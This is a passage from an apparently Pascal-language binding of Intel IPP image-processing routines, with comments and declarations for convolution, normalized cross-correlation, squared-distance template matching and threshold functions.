ippiConv_8u_C1R, ippiConv_8u_C3R, ippiConv_8u_C4R
Purpose: Performs full or valid 2-D convolution of two images.
The result image size depends on operation shape selected in algType mask as follows:
(Wa+Wb-1)*(Ha+Hb-1) for ippiROIFull mask
(Wa-Wb+1)*(Ha-Hb+1) for ippiROIValid mask,
where Wa*Ha and Wb*Hb are the sizes of the image and template, respectively.
If the IppAlgMask value in algType is equal to ippAlgAuto, the optimal algorithm is selected
automatically. For big data size, the function uses 2D FFT algorithm.
Parameters:
pSrc1, pSrc2 - Pointers to the source images ROI.
src1Step, src2Step - Distances, in bytes, between the starting points of consecutive lines in the source images.
src1Size, src2Size - Size, in pixels, of the source images.
pDst - Pointer to the destination image ROI.
dstStep - Distance, in bytes, between the starting points of consecutive lines in the destination image.
divisor - The integer value by which the computed result is divided (for operations on integer data only).
algType - Bit-field mask for the algorithm type definition. Possible values are the results of composition of the IppAlgType and IppiROIShape values.
Usage example: algType=(ippiROIFull|ippAlgFFT); - full-shaped convolution will be calculated using 2D FFT.
pBuffer - Pointer to the buffer for internal calculations.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsStepErr - Error when src1Step, src2Step, or dstStep has a zero or negative value.
ippStsSizeErr - Error when src1Size or src2Size has a zero or negative value.
ippStsDivisorErr - Error when divisor has the zero value.
ippStsAlgTypeErr - Error when :
The result of the bitwise AND operation between algType and ippAlgMask differs from the ippAlgAuto, ippAlgDirect, or ippAlgFFT values.
The result of the bitwise AND operation between algType and ippiROIMask differs from the ippiROIFull or ippiROIValid values.
}
function ippiConv_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; src1Size : IppiSize ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; src2Size : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiConv_32f_C3R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; src1Size : IppiSize ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; src2Size : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiConv_32f_C4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; src1Size : IppiSize ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; src2Size : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiConv_16s_C1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; src1Size : IppiSize ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; src2Size : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; divisor : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiConv_16s_C3R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; src1Size : IppiSize ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; src2Size : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; divisor : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiConv_16s_C4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; src1Size : IppiSize ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; src2Size : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; divisor : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiConv_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; src1Size : IppiSize ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; src2Size : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; divisor : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiConv_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; src1Size : IppiSize ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; src2Size : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; divisor : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiConv_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; src1Size : IppiSize ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; src2Size : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; divisor : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Image Proximity Measures
----------------------------------------------------------------------------
Names: ippiCrossCorrNormGetBufferSize
Purpose: Computes the size (in bytes) of the work buffer for the ippiCrossCorrNorm functions.
Parameters:
srcRoiSize - Size of the source ROI in pixels.
tplRoiSize - Size of the template ROI in pixels.
algType - Bit-field mask for the algorithm type definition. Possible values are the results of composition of the IppAlgType, IppiROIShape, and IppiNormOp values.
Usage example: algType=(ippiROIFull|ippAlgFFT|ippiNorm); - full-shaped cross-correlation will be calculated
using 2D FFT and normalization applied to result image.
pBufferSize - Pointer to the size of the work buffer (in bytes).
Return:
ippStsNoErr - OK.
ippStsSizeErr - Error when:
srcRoiSize or tplRoiSize is negative, or equal to zero.
The value of srcRoiSize is less than the corresponding value of the tplRoiSize.
ippStsAlgTypeErr - Error when :
The result of the bitwise AND operation between the algType and ippAlgMask differs from the ippAlgAuto, ippAlgDirect, or ippAlgFFT values.
The result of the bitwise AND operation between the algType and ippiROIMask differs from the ippiROIFull, ippiROISame, or ippiROIValid values.
The result of the bitwise AND operation between the algType and ippiNormMask differs from the ippiNormNone, ippiNorm, or ippiNormCoefficient values.
ippStsNullPtrErr - Error when the pBufferSize is NULL.
}
function ippiCrossCorrNormGetBufferSize( srcRoiSize : IppiSize ; tplRoiSize : IppiSize ; algType : IppEnum ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiCrossCorrNorm_32f_C1R
ippiCrossCorrNorm_16u32f_C1R
ippiCrossCorrNorm_8u32f_C1R
ippiCrossCorrNorm_8u_C1RSfs
Purpose: Computes normalized cross-correlation between an image and a template.
The result image size depends on operation shape selected in algType mask as follows :
(Wa+Wb-1)*(Ha+Hb-1) for ippiROIFull mask,
(Wa)*(Ha) for ippiROISame mask,
(Wa-Wb+1)*(Ha-Hb+1) for ippiROIValid mask,
where Wa*Ha and Wb*Hb are the sizes of the image and template correspondingly.
Support of normalization operations (set in the algType mask) is set by selecting the following masks:
ippiNormNone - the cross-correlation without normalization.
ippiNorm - the normalized cross-correlation.
ippiNormCoefficient - the normalized correlation coefficients.
If the IppAlgMask value in algType is equal to ippAlgAuto, the optimal algorithm is selected automatically.
For big data size, the function uses 2D FFT algorithm.
Parameters:
pSrc - Pointer to the source image ROI.
srcStep - Distance, in bytes, between the starting points of consecutive lines in the source image.
srcRoiSize - Size of the source ROI in pixels.
pTpl - Pointer to the template image.
tplStep - Distance, in bytes, between the starting points of consecutive lines in the template image.
tplRoiSize - Size of the template ROI in pixels.
pDst - Pointer to the destination image ROI.
dstStep - Distance, in bytes, between the starting points of consecutive lines in the destination image.
scaleFactor - Scale factor.
algType - Bit-field mask for the algorithm type definition. Possible values are the results of composition of the IppAlgType, IppiROIShape, and IppiNormOp values.
Usage example: algType=(ippiROIFull|ippAlgFFT|ippiNormNone); - full-shaped cross-correlation will be calculated using 2D FFT without result normalization.
pBuffer - Pointer to the work buffer.
Returns:
ippStsNoErr OK.
ippStsNullPtrErr Error when any of the specified pointers is NULL.
ippStsStepErr Error when the value of srcStep, tplStep, or dstStep is negative, or equal to zero.
ippStsSizeErr Error when :
srcRoiSize or tplRoiSize is negative, or equal to zero.
The value of srcRoiSize is less than the corresponding value of tplRoiSize.
ippStsAlgTypeErr Error when :
The result of the bitwise AND operation between the algType and ippAlgMask differs from the ippAlgAuto, ippAlgDirect, or ippAlgFFT values.
The result of the bitwise AND operation between the algType and ippiROIMask differs from the ippiROIFull, ippiROISame, or ippiROIValid values.
The result of the bitwise AND operation between the algType and ippiNormMask differs from the ippiNormNone, ippiNorm, or ippiNormCoefficient values.
}
function ippiCrossCorrNorm_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp32fPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiCrossCorrNorm_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp16uPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiCrossCorrNorm_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp8uPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiCrossCorrNorm_8u_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp8uPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; scaleFactor : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiSqrDistanceNormGetBufferSize
Purpose: Computes the size of the work buffer for the ippiSqrDistanceNorm functions.
Parameters:
srcRoiSize - Size of the source ROI, in pixels.
tplRoiSize - Size of the template ROI, in pixels.
algType - Bit-field mask for the algorithm type definition. Possible values are the results of composition of the IppAlgType, IppiROIShape, and IppiNormOp values.
Usage example: algType=(ippiROIFull|ippAlgFFT|ippiNorm); - result image will be calculated for full-shaped ROI
using 2D FFT and normalization applied.
pBufferSize - Pointer where to store the calculated buffer size (in bytes)
Return:
ippStsNoErr - Ok.
ippStsSizeErr - Error when :
srcRoiSize or tplRoiSize is negative, or equal to zero.
The value of srcRoiSize is less than the corresponding value of tplRoiSize.
ippStsAlgTypeErr - Error when :
The result of the bitwise AND operation between the algType and ippAlgMask differs from the ippAlgAuto, ippAlgDirect, or ippAlgFFT values.
The result of the bitwise AND operation between the algType and ippiROIMask differs from the ippiROIFull, ippiROISame, or ippiROIValid values.
The result of the bitwise AND operation between the algType and ippiNormMask differs from the ippiNormNone or ippiNorm values.
ippStsNullPtrErr - Error when the pBufferSize is NULL.
}
function ippiSqrDistanceNormGetBufferSize( srcRoiSize : IppiSize ; tplRoiSize : IppiSize ; algType : IppEnum ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiSqrDistanceNorm_32f_C1R
ippiSqrDistanceNorm_16u32f_C1R
ippiSqrDistanceNorm_8u32f_C1R
ippiSqrDistanceNorm_8u_C1RSfs
Purpose: Computes Euclidean distance between an image and a template.
The result image size depends on operation shape selected in algType mask as follows :
(Wa+Wb-1)*(Ha+Hb-1) for ippiROIFull mask,
(Wa)*(Ha) for ippiROISame mask,
(Wa-Wb+1)*(Ha-Hb+1) for ippiROIValid mask,
where Wa*Ha and Wb*Hb are the sizes of the image and template , respectively.
Support of normalization operations (set the algType mask) :
ippiNormNone - the squared Euclidean distances.
ippiNorm - the normalized squared Euclidean distances.
If the IppAlgMask value in algType is equal to ippAlgAuto, the optimal algorithm is selected
automatically. For big data size, the function uses 2D FFT algorithm.
Parameters:
pSrc - Pointer to the source image ROI.
srcStep - Distance, in bytes, between the starting points of consecutive lines in the source image.
srcRoiSize - Size of the source ROI, in pixels.
pTpl - Pointer to the template image.
tplStep - Distance, in bytes, between the starting points of consecutive lines in the template image.
tplRoiSize - Size of the template ROI, in pixels.
pDst - Pointer to the destination image ROI.
dstStep - Distance, in bytes, between the starting points of consecutive lines in the destination image.
scaleFactor - Scale factor.
algType - Bit-field mask for the algorithm type definition. Possible values are the results of composition of the IppAlgType, IppiROIShape, and IppiNormOp values.
Usage example: algType=(ippiROIFull|ippiNormNone|ippAlgFFT); - result will be calculated for full-shaped ROI using 2D FFT without normalization.
pBuffer - Pointer to the buffer for internal calculation.
Returns:
ippStsNoErr OK.
ippStsNullPtrErr Error when any of the specified pointers is NULL.
ippStsStepErr Error when the value of srcStep, tplStep, or dstStep is negative, or equal to zero.
ippStsSizeErr Error when :
srcRoiSize or tplRoiSize is negative, or equal to zero.
The value of srcRoiSize is less than the corresponding value of the tplRoiSize.
ippStsAlgTypeErr Error when :
The result of the bitwise AND operation between the algType and ippAlgMask differs from the ippAlgAuto, ippAlgDirect, or ippAlgFFT values.
The result of the bitwise AND operation between the algType and ippiROIMask differs from the ippiROIFull, ippiROISame, or ippiROIValid values.
The result of the bitwise AND operation between the algType and ippiNormMask differs from the ippiNormNone or ippiNorm values.
}
function ippiSqrDistanceNorm_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp32fPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiSqrDistanceNorm_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp16uPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiSqrDistanceNorm_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp8uPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiSqrDistanceNorm_8u_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp8uPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; scaleFactor : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Threshold operations
----------------------------------------------------------------------------
Names: ippiThreshold_8u_C1R
ippiThreshold_8u_C3R
ippiThreshold_8u_AC4R
ippiThreshold_16s_C1R
ippiThreshold_16s_C3R
ippiThreshold_16s_AC4R
ippiThreshold_32f_C1R
ippiThreshold_32f_C3R
ippiThreshold_32f_AC4R
ippiThreshold_8u_C1IR
ippiThreshold_8u_C3IR
ippiThreshold_8u_AC4IR
ippiThreshold_16s_C1IR
ippiThreshold_16s_C3IR
ippiThreshold_16s_AC4IR
ippiThreshold_32f_C1IR
ippiThreshold_32f_C3IR
ippiThreshold_32f_AC4IR
ippiThreshold_16u_C1R
ippiThreshold_16u_C3R
ippiThreshold_16u_AC4R
ippiThreshold_16u_C1IR
ippiThreshold_16u_C3IR
ippiThreshold_16u_AC4IR
Purpose: Performs thresholding of an image using the specified level
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr One of the step values is zero or negative
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the ROI
threshold Threshold level value (array of values for multi-channel data)
ippCmpOp Comparison mode, possible values:
ippCmpLess - less than,
ippCmpGreater - greater than
}
function ippiThreshold_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
function ippiThreshold_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3 ; ippCmpOp : IppCmpOp ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiThreshold_GT_8u_C1R
ippiThreshold_GT_8u_C3R
ippiThreshold_GT_8u_AC4R
ippiThreshold_GT_16s_C1R
ippiThreshold_GT_16s_C3R
ippiThreshold_GT_16s_AC4R
ippiThreshold_GT_32f_C1R
ippiThreshold_GT_32f_C3R
ippiThreshold_GT_32f_AC4R
ippiThreshold_GT_8u_C1IR
ippiThreshold_GT_8u_C3IR
ippiThreshold_GT_8u_AC4IR
ippiThreshold_GT_16s_C1IR
ippiThreshold_GT_16s_C3IR
ippiThreshold_GT_16s_AC4IR
ippiThreshold_GT_32f_C1IR
ippiThreshold_GT_32f_C3IR
ippiThreshold_GT_32f_AC4IR
ippiThreshold_GT_16u_C1R
ippiThreshold_GT_16u_C3R
ippiThreshold_GT_16u_AC4R
ippiThreshold_GT_16u_C1IR
ippiThreshold_GT_16u_C3IR
ippiThreshold_GT_16u_AC4IR
Purpose: Performs threshold operation using the comparison "greater than"
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr One of the step values is zero or negative
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the ROI
threshold Threshold level value (array of values for multi-channel data)
}
function ippiThreshold_GT_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ): IppStatus; _ippapi
function ippiThreshold_GT_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ): IppStatus; _ippapi
function ippiThreshold_GT_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ): IppStatus; _ippapi
function ippiThreshold_GT_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_GT_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_GT_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_GT_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_GT_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_GT_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_GT_8u_C1IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ): IppStatus; _ippapi
function ippiThreshold_GT_16s_C1IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ): IppStatus; _ippapi
function ippiThreshold_GT_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ): IppStatus; _ippapi
function ippiThreshold_GT_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_GT_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_GT_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_GT_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp8u_3): IppStatus; _ippapi
function ippiThreshold_GT_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16s_3): IppStatus; _ippapi
function ippiThreshold_GT_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp32f_3): IppStatus; _ippapi
function ippiThreshold_GT_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ): IppStatus; _ippapi
function ippiThreshold_GT_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_GT_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_GT_16u_C1IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ): IppStatus; _ippapi
function ippiThreshold_GT_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3): IppStatus; _ippapi
function ippiThreshold_GT_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const threshold : Ipp16u_3): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiThreshold_LT_8u_C1R
ippiThreshold_LT_8u_C3R
ippiThreshold_LT_8u_AC4R
ippiThreshold_LT_16s_C1R
ippiThreshold_LT_16s_C3R
ippiThreshold_LT_16s_AC4R
ippiThreshold_LT_32f_C1R
ippiThreshold_LT_32f_C3R
ippiThreshold_LT_32f_AC4R
ippiThreshold_LT_8u_C1IR
ippiThreshold_LT_8u_C3IR
ippiThreshold_LT_8u_AC4IR
ippiThreshold_LT_16s_C1IR
ippiThreshold_LT_16s_C3IR
ippiThreshold_LT_16s_AC4IR
ippiThreshold_LT_32f_C1IR
ippiThreshold_LT_32f_C3IR
ippiThreshold_LT_32f_AC4IR
ippiThreshold_LT_16u_C1R
ippiThreshold_LT_16u_C3R
ippiThreshold_LT_16u_AC4R
ippiThreshold_LT_16u_C1IR
ippiThreshold_LT_16u_C3IR
ippiThreshold_LT_16u_AC4IR
Purpose: Performs threshold operation using the comparison "less than"
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr One of the step values is zero or negative
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the ROI
threshold Threshold level value (array of values for multi-channel data)
ippCmpOp Comparison mode, possible values:
ippCmpLess - less than
ippCmpGreater - greater than
}
function ippiThreshold_LT_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ): IppStatus; _ippapi
function ippiThreshold_LT_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ): IppStatus; _ippapi
function ippiThreshold_LT_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ): IppStatus; _ippapi
